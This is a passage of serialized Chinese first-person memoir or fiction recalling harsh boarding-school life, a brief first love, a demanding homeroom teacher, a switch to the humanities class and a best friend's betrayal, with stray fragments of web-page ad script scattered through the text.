而我们的教学楼,当时只能靠老式的暖气片取暖。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 而那种暖气片,供暖的效果远远不如地暖。 暖气片,一般都会按在窗户下面。 我当时在16班,刚好坐在靠窗的位置,守着暖气片,我并没有暖和到哪里去,因为冬天的冷风,顺着当时漏风的铝合金窗呼呼往里灌,我上课的时候,手都冻僵了。 当时,16班和15班都是理科尖子班,1班是文科尖子班。 16班的教室,是全校环境最差的教室。 而且那栋教学楼古老到什么程度呢,我妈当年念高中报到的时候,她刚好也是在我那间教室上课。 所以,送我去学校报到的那一天,我妈妈还很感慨,觉得时光匆匆不回头。 当然,学校生活环境差,是所有同学都很差。很多我受过的罪,其他同学也一样都不少受。 尤其是女同学,到了冬天,都很难熬。 我们学校的水房,只有十几个水龙头可以打热水。就这么十几个水龙头,最起码有一半是坏的,不出水。 我们高中是封闭式的管理,每个月只有月假的时候才可以出校门。 所以,冬天这个环境,即便是再恶劣,也只能忍着。 我在高中阶段,除了中午洗头时间,我是不去打热水的。 不是我懒,是因为我实在没时间。 如果晚饭时间,我直接拿着暖水壶去排队打热水的话,我就没时间吃饭了。 因为我们晚饭时间,只有四十分钟。 而打热水的队伍,要排得很长很长。 而且,有时候好不容易排到你可以打热水了,当时热水的水龙头出来的水不热了,就只能认栽。 并且,一下课就直接冲去水房打热水的,还只能是一遍铃的时候。 说到这里,很多人可能不理解一边铃是什么意思。 我来给大家解释一下我们的吃饭铃声。 因为我们的食堂容量小,再加上学生很多,为了避免拥堵和踩踏事件,所以只能分批让各个学年的学生去食堂。 一共分为三遍铃声,我记得每一遍铃声的间隔是五分钟以上,具体多长时间,我因为毕业太久,记忆有些模糊了。 大约就是这个时间吧,每一遍铃声,不低于五分钟。 举个例子,比如这一周,学校安排的是,高一学年一遍铃。 那么这一周,第一遍铃声响起的时候,高一同学可以先下课去食堂吃饭。 每周都会轮换一遍。 这一周如果高一学年是一遍铃了,那么下一周,高一同学就是二遍铃。 一遍铃不仅下课下得早,食堂里最好吃的菜也是可以优先打到的。 二遍铃去的时候,好吃的菜可能就剩一点点了。 如果这一周,刚好是三遍铃,那就比较惨了。别说是好吃的菜打不到,大部分菜都没了,就剩个菜汤底。 所以很多时候,我们遇到三遍铃,不是去啃面包就是去吃泡面,或者去小卖部,买个包子垫一垫就行了。 这个三遍铃制度,就导致了第三遍铃下课的学生,即便是第一时间冲到水房,也会看到长长的队伍,从水房内,排到了外面操场上。 当时学校不允许早恋,但是有的时候,我们会莫名羡慕那些偷偷谈男朋友的女同学。 因为那个时候,大家不需要男朋友给你买什么礼物,他去水房帮忙排队打一桶热水,就会让女同学非常感动。 因为大家都知道,打这么一桶热水出来,到底有多么不容易。 没有热水,教室也不够暖和,女同学很容易受寒。 尤其是冬天洗头的时候,都是青春期,一般都是大油头。 三天不洗头,头发就油腻得不行。 每周,学校只给你安排一节洗澡课,或者你周末的时候,和全校同学去澡堂挤。 澡堂也就只有那么几个淋浴头,周末去澡堂洗澡,光是排队就能排很久很久。 而且,我们周末虽然上下午没课,但是有晚自习,并不能自由的在学校里游荡。 而除了洗澡课和周末,我们头发油到非洗不可的时候,就只能顶着寒风去水房排队。 夏天的时候还好,打不到热水,干脆直接用冷水洗。 每周去水房洗头,还不是最艰难的。最艰难的是,洗完头出来,大家没有吹风机把头发吹干。 而我们学校的校规第一条就是,女同学不能披头散发。哪怕是洗澡课刚从澡堂走出来,也不允许披着头。 据说设定这条校规的男主任觉得,女同学披着头发很容易让男同学想入非非,所以为了男同学的心理健康,所有女生都必须把头发扎起来,额间还不允许有碎发。 夏天,大家就直接把湿了的头发扎起来。 冬天,大家披着头在水房门口站一会儿,头发就会被冻上。这个时候,拿出木梳,把冰碴子梳下来,头发上的水分就会被带走,自然而然就干了。 长久这么生活,很多女同学的生理期都出现了问题,不是推迟就是痛经。 我回家跟我妈妈提这件事的时候,我妈妈告诉我,她当时念高中的时候,月经一直都不正常。 我妈妈高中没有毕业,除了学校生活环境太差,还有一个原因是她没有裤子穿。 她只有一条裤子,还是我姥姥拿我大姨的裤子改小了,给我妈穿。 当时冬天,我妈那条裤子湿了,没办法出门,她觉得太难了,就哭闹着不想念了。 我姥姥说,我妈妈的学习成绩很好,除了英语不及格之外,其他科的成绩都非常优异。 从高中辍学之后,我姥姥让我妈去报考幼师。 我妈在那一批考生中,排名第一。结果因为面试的时候,没有像样的衣服穿,她放弃了面试机会,直接去F城参加招工了。 我妈妈听我说学校里的环境,她就劝我,她说大家都是这么苦过来的,那你有什么办法呢? 23. 第023章 初恋 我记得毕业很多年之后,我回姥姥家的那个乡镇遇到了我的高中同学。 她嫁了军人,一个人在乡镇里一边工作一边自己带着孩子。 她说她跟老公讲起高中时期,用木梳梳掉头发上的碎冰茬子时,她老公还觉得有些不可思议。 我是2008年9月上高一的,2011年6月参加高考。 这个时间段内,跟我们同龄的人,很难想象都这个年代了,我们学校的生活还那么艰苦。 整个高中三年,是让我印象最深刻的阶段。 我甚至写文之后,我都很少去看穿越回高中阶段的小说,我也不会去写,我光是想想我的高中生活,我就觉得苦哈哈的。 我不知道别的作者写作的时候,会不会被现实生活影响。但是我现实的经历,多多少少会影响我笔下的角色。 即便是很多时候,写作的时候天马行空,书中的纸片人有可能跟现实生活中完全不重合。但是有些场景,有些生活常识,涉及到我的知识盲区时,我还是尽量避开。 我就不是一个有天赋的人,一直都靠量混点稿费。我知道我的读者不多,我不希望看我文的读者,找出太多的逻辑漏洞。所以尽量挑自己擅长的领域写点东西。 当然,最苦的,远远不止这些。 前面提到,我一开始是在16班—理科尖子班。 在初中阶段,我初中物理成绩很好。我初中物理老师还提过,她说我是可以学理科的。 而16班的班主任樊老师,就是教物理的。 樊老师很厉害,是物理组的组长,很多其他老师解决不了的难题,都是他亲自出面解决的。 但是他的课,我需要完完全全集中注意力。他不喜欢用板书,他就喜欢站在那里讲题,让大家跟着他的思路想象这些物理题目。 我可能在专注力上有些缺陷,我没办法在45分钟的课堂上,完全集中精力听他讲。也有可能是我在物理方面非常笨拙,他不在黑板上画出那个题目和图线,我就跟不上。 总之,我的物理成绩越来越差,最差的时候,物理月考考了29分。 这简直是尖子班的耻辱! 再加上我初中阶段就不喜欢学化学,所以化学成绩也不及格。 唯一能看的,就只有我语数英三个大科。后来因为成绩步步后退,加上那段时间还有点早恋的心思,我的数学也被落了下来。 我高中刚入学的时候,排名靠前。第一次月考就排到了后面,第二次月考以及期中考试,成绩就越来越差。 在高一刚入学的时候,班主任就让我们想好到底是学文科还是学理科,决定好学理科的,就完全不必顾及文科了,随便上上课就行,自习课要专注理科内容。 而文科科任老师来上课的时候,见我们班大部分都是学理的,对文科兴趣也不高,政史地几科老师对我们班的要求也不高,也不会留什么作业,只说如果想学文的同学就去做哪些题,不学文的同学就不强求了。 而我那个时候,觉得自己是要留在理科班的。 当时,班里还有文科歧视。我们班的一些男同学觉得,只有特别笨的同学、学不明白理科的同学,才会去学文科,他们觉得文科就是背一背就行了。 我留在理科班的原因还有一个,当时我比较喜欢我侧后排的一个男同学。 你现在要让我回忆当时喜欢他的原因,我根本说不上来,不是忘记了,就是说不上来。 因为我当时,特别想要感受一下谈恋爱是什么感觉。而他,刚好出现在了我的视线里。 在16班,我和他关系不是最好的。和我关系最好的男同学姓李,就叫他李一民吧。 李一民非常聪明,他上课经常走神,自习课经常不学习。平时大家都很努力地做题的时候,他只顾着伤春悲秋,感叹自己的原生家庭对他不太公平。 他中考的时候,甚至故意空出了几道题,就为了不考一中那个重点高中。 因为一中就在他家小区对面,离他太近,他怕他妈妈管着他。 而二中和一中都在县级市内,也离他家不远。 只有我们这个乡镇高中,离他家最远,是他最优的选择。 可即便他不听话、不做题、不努力,他的学习成绩也不差。 有些物理大题,班上大部分同学都做不出来的时候,李一民看一眼就给出了答案。 这种天赋和智商上的压制,我是非常服气的。 我还记得我们当时都在研究那道题,周围很多同学都不会。 我叫住了李一民,我说你可以看一下吗? 李一民当时看了一眼,随手在草稿纸上画了图,很快就给出了答案。 后来他的答案,我后座的那个男同学还不太相信,拿去找老师,老师很惊奇地看着李一民的解题思路,一边夸一边问:“这个答案是谁做的?这个解题思路就很好啊,他的答案也是对的。” 可是老师和李一民讲完了,我还是没听懂。 唯一能给我讲明白的,就是我侧后座的小明同学。 在某种意义上,小明同学算是我的初恋。 他不是我第一个有好感的男同学,但是他是我第一个恋爱对象。 那个时候的好感很简单,是你问他题目,他不厌其烦地给你讲解,还会对你温柔地笑。 也许,这就是我当初喜欢他的原因吧。 而同期,还有一位姓赵的男同学喜欢我。 我不是很喜欢他,我是个颜控,我嫌弃他长得不好看,虽然我知道嫌弃别人的外在不好,但是我还是很难透过我不喜欢的外在去发掘他的内在。 更何况,他的性格我也不喜欢。 他太过于高调。 高调到,他喜欢我这件事,全班同学都知道。 高调到,他体育课做健美操上前领操,非要跟体育老师沟通,让我也上前和他一起领操,男女搭配干活不累。 天知道,体育老师把我也叫上去和他并排站的时候,我有多尴尬、多难受。 然而当时,班级里的其他同学,还喜欢跟着起哄。 我很不喜欢这样,我本身就不是外向的人,也不喜欢接受全班同学的注目。 我有次明白告诉他,你可不可以不要这样? 但是他根本不听,依旧我行我素。 有一次,班长让我们填写个人资料,赵同学还把资料全班的资料拿过去看了。 隔天早自习之前,赵同学还当着班里同学的面,上台背我的身份证号。 这种行为,真的让我很困扰,我也绝对不可能喜欢上这种人。 而那个时候,小明刚好出现在了我的世界里。 有一次,小明同学突然开我玩笑,说他给我讲题,赵同学会吃醋的。 我好像在感情上,会格外大胆,我突然就跟他说:“我才不在乎他,我更喜欢你。” 就这样,我和小明同学在一起了。 当时的恋爱谈得非常清水,直到分手,我们都没有牵过手。 我们的恋爱只限于,偶尔目光对视的时候,彼此会脸红。 当然,有男朋友的我,也没有让他帮我打热水。他没有主动提过,我也不好意思开口。 即便是我们两个没有任何亲密行为,但是恋爱之后,也出现了很多问题。 比如,我发现他是个中央空调。 他不仅对我很温柔,他对他初中同校的女同学都很温柔。 他是青镇人,这个镇子盛产铜,有很多铜矿,暂且就叫铜镇吧,我那边的镇子盛产煤,就叫煤镇吧。 当时我们F城管辖下的村镇都很穷,我们铜镇和煤镇,就是众多穷镇里,还算是比较富裕的两个镇。 所以每年中考高考,两个镇的学生都容易起冲突。起冲突到,有时候我们一个班的煤镇的同学听说谁是铜镇人,就会笑着说,哎呦,我们有世仇啊。 我就这样和有“世仇”的小明同学恋爱了,还是地下恋情。 当时,我们学校的校规很严格,其中有一条是,男女说话超过一分钟,视为不正常交往。 这个规定看似十分不合理,但是你要是男女同学正常讨论学习,正常说话超过几分钟,是不会给你扣早恋帽子的。 一般真给你算早恋的,都是有实锤的。 每晚天黑之后,晚自习没结束之前,下课十分钟的时间,小操场都有情侣在黑暗中悄悄凑到一起聊天,还会偷偷牵手拥抱。 学校教务处经常有老师,晚上偷摸潜伏到小操场抓早恋。 因为曾经抓到过一对情侣,但是这一对嘴硬,硬是不肯承认他们谈恋爱,所以学校才有这么一个校规。 这校规的意思是,抓到你头上了,你嘴硬也不好用。 学校抓早恋太严格了,只要是被教务处的人抓到,就是记大过处分。班主任也三令五申不许早恋,所以我和小明同学,都非常谨慎小心。 我们没去过小操场,下课没一起出去走过,除了讲题不会凑到一起闲聊天,唯一的沟通方式是,互相传纸条。 小明同学是比我更谨慎的一个人,他偶尔会偷偷看我一眼,就一眼就差不多了,之后就会转移视线,不太敢跟我对视。 跟我传纸条的时候,小明也明确说过,尽量不要让老师发现。 他当时还跟我约定,就这么搞地下恋情,到时候相约去同一个城市上大学。 但是当时的我,还没有想那么远。 或者说,我觉得我们应该谈不到那个时候。不是我不够喜欢他,单纯就是我的直觉。 而且在这段短暂的恋爱里,我发现他很多让我不舒服的点。 比如有一次月考,我们去五楼高三的教室考试。他的位置在我后座的后座,而我前座是一个铜镇的女同学。 这个女同学,每次在操场上看到小明同学都会打招呼,我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 知道他们初中是一个班的。 当时上楼考试,我穿了一件单薄的外套,冻得浑身发抖。 那个教室的暖气片出了点问题,一点都不热。 整个教室跟冰窖一样,拿笔写字,手都是抖的。 小明同学穿了一件保暖的防风衣,他站起来,脱下了外套走了过来。 当时我觉得这个男朋友还挺帅的,知道我冷,给我递衣服。 结果下一秒,人家拿着这件衣服,递给了我前面的女同学。 那个女同学还不要,推给了他,说你也很冷,你拿回去穿吧,我也有外套,就这样就行了。 小明跟她客气了很久,见人家实在不用他献殷勤,就把外套拿回了手里。 我以为这个时候,他会想到这个女同学后座的我。 但是他没有,他甚至为了避嫌,没有多看我一眼,就走回了自己座位。 我心里好堵啊,为了这件事,我还跟他冷战了好几天。 我不去找他讲题,不给他传纸条,甚至没跟他对视。 但这只是一场一个人的闷气。 他最终也不知道我在生气,他甚至觉得我没给他传纸条是比较谨慎,加上比较爱学习,没有时间搭理他,他没有发现我任何的不对劲。 他甚至还在这段时间,给班里其他铜镇的女同学讲题,两个人靠得很近。 我只能远远地看着,吃闷醋。 以至于后来破冰的时候,这个事已经过去好几天了。我再提起来,又害怕人家觉得我小气。所以直到分手,我都没有拿这个事说事。 没提,不代表我忘了,就像是这件事,我现在还能想起来一样。 当然,现在的我和学生时代的我不同,现在我要是生气了,当场就会告诉我老公。 我不希望我憋了一肚子气,人家还像没事人一样,什么都不知道。 当时那件事,我只能把它讲给我当时的闺蜜也是我的同桌,她叫赵心。 她是我高中阶段最好的朋友。 我甚至觉得,我的朋友只有赵心一个人就好了,我不需要其他的朋友。 我还会因为赵心跟其他的朋友太好而吃醋。 是的,就是单纯友情的那种吃醋。 因为友情,也是有占有欲的。 赵心听到这件事也很为我打抱不平,说小明同学的不好。 而且赵心会夸我长得好看,她认为班里女生,我的颜值排在前列。 她说这话的时候好真诚,我到现在都觉得,她说这话是有真心的。 当然,赵心也不止一次跟我说过,她觉得小明同学配不上我。 我当时是班里最矮的女生,不到160。 小明同学是班里最矮的男生,不到165。 赵心的身高,当时都有165了。 当然不止这一次,当时正好是冬天。小明同学不仅不会像其他的男朋友一样,去给我打热水,他看到我坐在窗边,一直嚷嚷着风太大,手都冻僵了的时候,也不会过来帮忙贴一下胶带,挡一挡风。 那个胶带不是我不能自己贴,是高一点的地方,我站着凳子也够不到。 我是住宿生,赵心是走读生,她从校外买了胶带,我让她站在凳子上帮我贴,能勉强抵御一下寒风。 当时,其他班教室的窗户,大多都换成塑钢了。塑钢的窗户没有缝隙,耐寒挡风。我们16班不仅四面都有窗户,还全是铝合金门窗,到处漏风。 赵心帮我贴窗户的时候,还往后瞟了一眼小明,随后她大声说:“小明怎么回事,都不会帮你贴一下吗?就在那低头装死。” 小明应该是听到了赵心的话,但是他始终没有抬头。 我后来听说,小明同学的家境不好。但是在恋爱期间,他看到我喜欢喝旺仔牛奶,也会给我买两连,放在我的桌洞里。 一连四盒旺仔牛奶,不算便宜,小明自己是不舍得喝的。 所以,他当时应该也没有我想的那么不喜欢我。 这段恋爱持续了两个月,就无疾而终了。 分手原因不是小明害怕的那样,被教务处老师抓个现行。分手原因是,我当时的一个室友上课跟一个男同学传纸条表白,被我们班主任抓个现行。 班主任认为她早恋,她觉得委屈,就把我们班两对有早恋倾向的同学,告诉了老师。 当时班主任跟我们说,如果不想被找家长,不想被处分,就立刻分手。 其实现在想想,这不是一段轰轰烈烈的感情。 这段感情,甚至都算不上我人生的一段小插曲。 懵懂时期的恋爱,没有深入的感情基础就已经分手。 但是它依然让我印象深刻。 说出来都觉得讽刺。 它让我印象深刻的原因是,赵心因为小明同学,跟我断绝了朋友关系。 没有错,我最好的闺蜜,背着我跟小明谈恋爱了。 24. 第024章 背刺 比起小明同学,我更害怕失去的是赵心。 这话我跟赵心也说过,但是她应该没有信过我。 说回我们的恋情被老师知晓的那一天。 老师特意开了一场班会,严厉打击早恋这种现象。他还告诉我们,班里都有谁早恋了,他都知道,让我们主动去找他。 如果我们主动承认了,这个事他可以从轻处理。 当然,樊老师说这话的时候,还特意瞄了我一眼。 我其实意识到,他应该是知道了。 但是我和其他三个人一起去五楼教师办公室的时候,还存着侥幸心理,我觉得,我只要不承认,就没什么吧? 小明当时跟我说:“走吧,他肯定知道了。” 我们一起去的是四个人。 樊老师先是脾气暴躁地说了一通早恋的危害,然后其中一个女同学忍不住了,突然开口打断他:“老师,我和他的确互相有好感,但是我们没处对象。我们的确找范某某(告状的那位同学)帮我们传过纸条,但我们不是男女朋友的关系。我们顶多是互相喜欢。” 这一段话说完,樊老师愣在那里。 樊老师沉默了一会儿,突然说:“那你们以后注意,不要早恋,先回去吧。” 就这样,他两先走了。 办公室里,只剩下我和小明站在樊老师的面前。 樊老师看着我们,说:“如果你两也是这种情况,你们也回去吧。” 小明没动,也没说话。 我看了他一眼,我当时想撒谎的。 但是我想,今天有一个同学跑去告状,明天就还会别人,老师也会打听。 算了,破罐子破摔,都到这步了,我应该勇于承担。 所以小明一直沉默,只能我开口,我说:“我们不是那种情况,我们谈了。” 樊老师也许是一开始的输出太猛,这会儿倒是心平气和地跟我们讲道理。 虽然我很多地方都不喜欢樊老师,也记得他格外歧视班上的女同学,但是他那番话还是有道理的。 他说你们还小,还不懂爱情。 哪怕你们真的觉得彼此互相喜欢,可等你们到了我这个年纪你们就知道,将来不管能不能和学生时代喜欢的人在一起,都没那么重要。 随着时间的推移,那种短暂的喜欢,一定会消散的。 我当时没能深刻理解这番话的意义,但是我现在觉得,他是对的。 将来陪伴在你身边的那个人,不一定是当下喜欢的那个人。 这个人,哪怕你当时觉得很喜欢,你也早晚会忘掉他。 这世界哪有那么多情种,哪有那么多可以一直让你念念不忘的人? 当你遇到了新人,有了新的生活。当年那一丝感情和欢喜,也只会存在在回忆里。 提起他的时候,顶多笑一笑,就过去了。 樊老师还说,他教过这么多年的书,遇到了那么多早恋的同学。 他知道,大多数的男同学分手之后,该吃饭吃饭,该学习学习。 最终一直念着这个事,因为早恋影响情绪的,大多是女同学。 果不其然,当时很长一段时间,忘不掉的只有我,人家小明同学,该吃饭吃饭,该学习学习。 当然,这个也要提一下范某某。 我没有去找范某某说什么,我顶多不搭理她。她给我和小明,还有其他两位当事人都写了道歉信,我没回复范某同学,但是小明回复了。 小明说,他不想原谅她。 范某某说自己不是故意的,她说是老师逼得太紧,她才口不择言,但是小明戳破了她的谎言,认为她就是故意的。 当然,其他两位同学有没有回复她,我就不知道了。 樊老师之后一直认为,我学习成绩上不去,是因为和小明早恋。 我后来也曾努力学习过,语数英还有努力的价值,物理和化学,我是完全不喜欢,也跟不上进度了。 当时,跟我同桌的一个女生也是铜镇的,她敢爱敢恨,也帮我内涵过范同学。 她物理和化学也很差,樊老师直接把她叫出去,说虽然文理分班结束了,但是我觉得你不适合理科,你可以去学文。文科背一背还能努力的机会,但是理科考得这么差,没有什么进步的价值了。 当时樊老师还提了一句:“其实我觉得明意也该去学文,但是我还不知道怎么跟她说。” 樊老师在此之前,明着批评我很多次。 偶尔提到早恋的时候,还会拿我做例子。 他要是直接说我早恋不对就算了,他还特别虚伪,他提完之后,就当着全班同学的面说:“哎呀明意,我说的不是你,我说的是和你一样的那些人。” 这话太膈应人了。 还有一次,是我借了赵心的剪子,我已经还给她了,但是赵心忘了。 樊老师开班会的时候,赵心突然从后座捅了我一下,问我剪子在哪? 我小声说不在我这里。 赵心的爸爸也是物理组的老师,和樊老师是同事。赵心的成绩,也完全够不到尖子班。但是学校里,教师子女可以自由选择班级。 所以就算是课堂上我因为赵心捅我回应了赵心,也应该是我们两个人的错误。 但是樊老师故意无视了赵心,只当众训斥我,他说我不愿意在教室里待着,可以滚出去。 第三次,是因为我床铺扣分。 我们是封闭式的学校,军事化的管理。学校的被子不仅要叠成豆腐块,卫生也要打扫得特别干净,行李摆放得要和军队一样整齐。 我的被子是完全没有问题的,但是宿管老师就是喜欢给我们班扣分。 她给我扣分的原因是,床格斜了。 后来樊老师去找她的时候,她才说床单的格子只要没有完全平行,就要扣分。 我是个近视眼,我每次铺完床,我真的看不出那个床格不平行。 当时,扣分是要去找樊老师报备的。 起初报备,樊老师摆摆手说下次注意。 以至于后来,大家床铺扣分,都不去找他了。 因为大家都不找,我也没找。当然,我不找他报备这件事,的确是错了。 后来月度评流动红旗的时候,我们班没有。 樊老师才想起来去查分,最后,查到了我们女生宿舍。 他调出了我们的扣分记录,我们班女生多多少少都扣过分,但是我和一个姓关的,扣了好几次,算是次数多的。 所以,他去隔壁女寝室骂完了,就来我们寝室骂。 因为我的次数多,就专挑着我和关同学骂。 关同学像没事人一样,就坐在床铺上抠脚,而我被他骂得快哭了。 他骂得太难听了,还有脏话。骂人的过程中,不给女同学留面子,还明里暗里提到我早恋耽误学习的事。 他骂到寝室熄灯还觉得不够,直到我哭出来,他才才停。 当然,也不是因为我哭了,是因为都熄灯了,他再继续骂下去,会影响其他班级的女同学休息。 他走之后,我们另外一个女同学才说:“男老师就是不行,说话难听,还不知道留有余地。” 而第二天,就要放月假了。 我们当时是上午上课,下午就要回家。 回家的那一天,我迎头碰到了樊老师,我没说话,直接捂着脸,顶着红肿的眼错开他了。 在此之前,他知道我很有礼貌,见面都会鞠躬说老师好。 他应该也意识到自己说话太重,之后我有什么问题,他没再当我面说。 就连他觉得我应该学文这件事,他也没有当面跟我谈,而是让我的同桌侧面告诉我。 我当时思考了一下,文科也学语数英,我的三个大科成绩还可以,物理和化学不好,生物没到高二,还没开始学。 樊老师认为政史地都非常简单,去背一背我就能撵上。 不管怎么说,我觉得转文科班这个决定,我做对了。 1班是文科尖子班,班主任是我们当时的英语老师于老师。 我其实对于老师印象很好,但是刚转去她班里的时候,她是极其不愿意接收我们的。 当时距离文理分班都快一年了,都已经高二了,我的政史地三科完全被落下了。 而且文科班那边为了赶进度,高一的时候,就已经把必修课的内容全部讲完了。 所以,为了赶走临到高二才转班的两个同学,于老师提出了一个要求,她说次月月考和期中考试结束之后,两次的考试平均成绩排名在大榜七十名开外的同学,直接转去普通班。 我一听,这就是冲我们两个来的。 其他尖子班都不会踢人,她之前也没想过要踢人,我们两个转班过去之后,她就要踢人了。 而且,我刚转过去,不到一周时间就是第一次月考。 我第一次月考排名74名。 1班一共有69名学生,文科班只有一个尖子班。 没有排名在前70名的,就证明普通班有学生超过了尖子班的同学,于老师认为,成绩考成那样,没有留在尖子班的必要。 当时,距离期中考试只有不到两个月的时间了。 我知道,当初我中考没有考上一中的时候,我继父家不少亲戚,表面上安慰我,私底下都在嘲笑我。 如果我在普通高中,连尖子班的位置都守不住的话,他们一定会嘲笑得更狠。 甚至还有几个我继父家的亲戚会说,念得不好还念什么,赶紧回家得了,念书还浪费钱。 我不能念书,我不会种地,不会干农活,我也不想长大后,还留在那个山沟沟里。 我知道,我必须要努力了,不能被踢出尖子班。 我当时的小目标只有一个, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就是留下来。 所以,我连下课时间都不敢耽误。 我跟同学借笔记,记考点,做政史地的卷子。 晚自习回到寝室之后,我当时刚转班,还没来得及离开理科班的宿舍。 她们在寝室里聊天,我不敢跟她们聊,就闷头看书,记笔记,然后不管跟人家熟不熟悉,我都厚着脸皮问其他同学,都有什么考点,哪些需要格外注意。 和我一起去文科班的那个女生,看我那么努力,还劝我没事的。 我说有事,我不想去普通班。我试图劝她跟我一起学习,但是她学一会儿,就没什么耐心了。 我没有时间管她了,我只能靠自己。 第二次月考,我考进了全校(仅限文科班)前六十名。 我那个同桌,也考了六十多名,我们两个都进前七十了。 当时,于老师还开班会,讽刺了一下没进前七十的几个同学。 她说,人家完全没怎么学习政史地的两个同学,都考在了你们前面,咱们班里那几个成天溜达不知道学习的,竟然不知道羞耻。 于老师其实格外喜欢讽刺教育。 她开完班会之后,我的同桌有点飘,我不敢松懈。 我看了大榜,虽然我考进前七十名,但是后面的几个同学,和我的总分咬得很紧。 一旦失误,我就会被丢到普通班。 当时,地理的一些计算题,我因为没有上过课,我没有办法自己背,地理的一些图册和位置,我也不太好在短时间内全部记下来。 我只能靠历史和政治使劲,疯狂地记考点。 好在,在文科班努力是有效果的。学政治和历史,也不像我学物理和化学那么费劲。 短短两个月的时间,我期中考试考到了全校43名。 这个成绩不算好,但是可以让我稳住在尖子班的位置。 而和我一起转班的同桌,分配到了普通班。 不仅是她,班里还有几个七十名开外的,我们班主任一个都没留,全都打发走了。 而我高中阶段,也是从那个时候,开始努力学习的。 与此同时,理科班那边的事,我就渐渐不了解了。 偶尔一点的消息,都是我和赵心互相写信知晓的。 赵心告诉我,他们换了班长。新的班长虽然学习成绩不如前面那个,但是比较认真负责,也会照顾其他同学。 赵心还偷偷告诉我,她有点暗恋新班长。但是不止是她,其他女同学,也有点喜欢新班长。 新班长我有印象,人是真的很好。 我记得第一次开家长会的时候,我妹妹还小。我妈妈去的时候,还不能让我妹妹离开她和我的视线。 我妹妹进了教室就开始哭,那个新班长还拿出自己的大包乐事薯片递给了我妹妹,还帮我哄了一会儿,直到我妹妹不哭,他才离开。 他是个很温柔的人,有女孩子喜欢他很正常。 那个时候,虽然我会认真学习。但是闲下来的时候,我一定会给赵心写信。 我们单独拿了一个笔记本,笔记本前面记的都是一些知识点,笔记本中间,穿插着我们想对彼此说的话。 刚转去1班的时候,我是和那个我转班的同桌一起吃饭一起走的。可是后来她去了普通班,我变成了孤零零一个人,只能随便找个小团体,不要脸地跟在她们身边一起吃饭。 很长一段时间,我都特别孤单。 赵心是我孤单生活里的一道光,很多时候,我只要想到她,我就觉得自己不是一个人。 所以,赵心真的是我很重要的一个朋友。 如果非要在小明同学和赵心之间选择一个,我一定会选择赵心。 当时,我在16班还有一个朋友,姓周。 周同学和李一民关系很好,所以总是防备着我和李一民关系太好。我和李一民要是说话了,她肯定会插进来,挡住我,主动讨好李一民。 这一点,让我觉得不太舒服,所以没和周同学交心。 但是周同学又不喜欢我和赵心走得太近,总是当着我的面,说赵心哪里哪里不好。 她说赵心不好,让我觉得她在挑拨离间。 但是有一件事,被她说对了。 当时在16班的时候,樊老师开班会,说有些同学不学习,还耽误其他人学习。 周同学就说,老师是在暗示我。 因为樊老师就是那么个人,有什么话不直接说,就喜欢拐弯抹角、指桑骂槐。 我当时就觉得,这话不是说的我,我没觉得我影响了谁的学习。 直到,赵心跟我关系越来越好,她生病了,我买了一大包零食去看她。 她才终于良心发现,她告诉我,当时她学习退步,就拿我当理由,告诉樊老师,说我影响了她学习。 所以那次班会,樊老师针对的,的确是我。 25. 第025章 孤独 我其实是个后反劲儿的人,在当时,赵心第一次告诉我这个事情的时候,我没有怪她,我还说都过去了,没什么。 是很久之后,赵心彻底背弃我之后,我回想和她之间的点点滴滴,才发觉,她从未真的同我交心,也从未真的把我当成朋友。 我是个特别感性的人,会记住旁人对我的丁点好。 我记得我真心把赵心当朋友的那一天,是因为她特别维护我的一句话。 我们高中一个月只放一次月假,这期间,周末的时候,家长可以来探望。 但是当时,我妹妹还小,我妈要一个人在家里照顾我妹妹,所以根本没有人来学校看我。 而我的其他同学,他们的家长隔三差五就来探望。 这个时候,我已经渐渐能接受我的家长不会来探望的事实。 毕竟,也不是每个周末,所有的家长都会过来。 很多家长,一个月就来那么一次,他们的时间也经常会岔开。 所以,我周末也不是孤零零的一个人,总会有同学家长没来,总会有人陪着我聊聊天。 我是个特别容易满足的人,只要不把我一个人丢在孤岛上,我就觉得世界还是可爱的。 毕竟,我觉得最艰难的时候,还是小学毕业之前的那次运动会。 我一个人在艳阳高照的时候,被丢在操场上的那一天。 熬过了那一天,之后的生活,只要我不是孤单的一个人,我就不会害怕。 当然,我家里的情况,跟我相熟的同学,都是知道的。 最起码,李一民、小明、赵心和周同学都是知道的。 我当时和周同学住在上下铺,我们两个也经常一起去食堂吃饭。 周同学的父母很爱她,很宠着她。 每个月返校,她爸妈都会给她带一大包零食。每个月,她爸妈最少也会来学校看她两次,每次都给她带很多好吃的、用的,还会问他们的宝贝女儿需要什么。 当然,没有家长来,周末又没什么事的同学,会提前回教室上自习。 我那天就是提前回教室上自习,周同学的家长离校之后,周同学才慢悠悠回了教室。 回到教室之后,她就一直跟我分享,她爸妈给她买了什么。 我有一搭没一搭地回应着。 偏偏在这个时候,周同学不知道哪根筋搭错了,突然问我:“你家长为什么从来不过来看你啊?” 为我说话的是赵心,赵心说她有病。 赵心说,周同学明知道我家里的情况,还故意说这些气人。 也就是在那个时候,我把赵心当成了我的好朋友。 她可以懂我的敏感,也会站在我的角度,为我考虑。 我从那一天开始,和赵心越来越好,甚至于,我还很依赖她。 高中的生活很苦。 不止我一个人这样觉得,我所有的同学,都觉得很苦。 在如此恶劣的学习环境下,有一个我很信任的朋友,是非常难得的事情。 所以,在赵心告诉我,她曾经背刺过我的时候,我的第一反应不是责怪,而是快点原谅她。 我不想让她觉得,她都如此坦诚了,我还要因为这个事心存芥蒂。 我那个时候,好害怕失去她啊。 何况,当时的我去了文科班,我和赵心不在一个班级,生活轨迹也越来越远。 她在16班,我在1班。一个在最东边,一个在最西边。中间隔着的,不只是一眼望不见头的长廊,还有我们慢慢偏离的生活。 有时候周末,我想找赵心聊会儿天,都得提前写信跟她约好,然后在上晚自习之前,在后院宿舍楼的花坛边,简单聊一会儿。 我直到现在,回忆起那段时光,我都觉得是非常快乐的。 最起码在当时,我和赵心的相处,是真心实意的。 我在1班过得并不快乐,其实看我如此依赖赵心,就可以看得出,我转班之后,也有很多波折。 我在1班加入的是一个四人组。 因为原本跟我一起转班的同学去了普通班,我只能找一个小团体,加入他们。 这四个人,直到现在还有联系的,只有彭彭。 四个人里,有一个是我的初中同学,就叫她小雪吧。 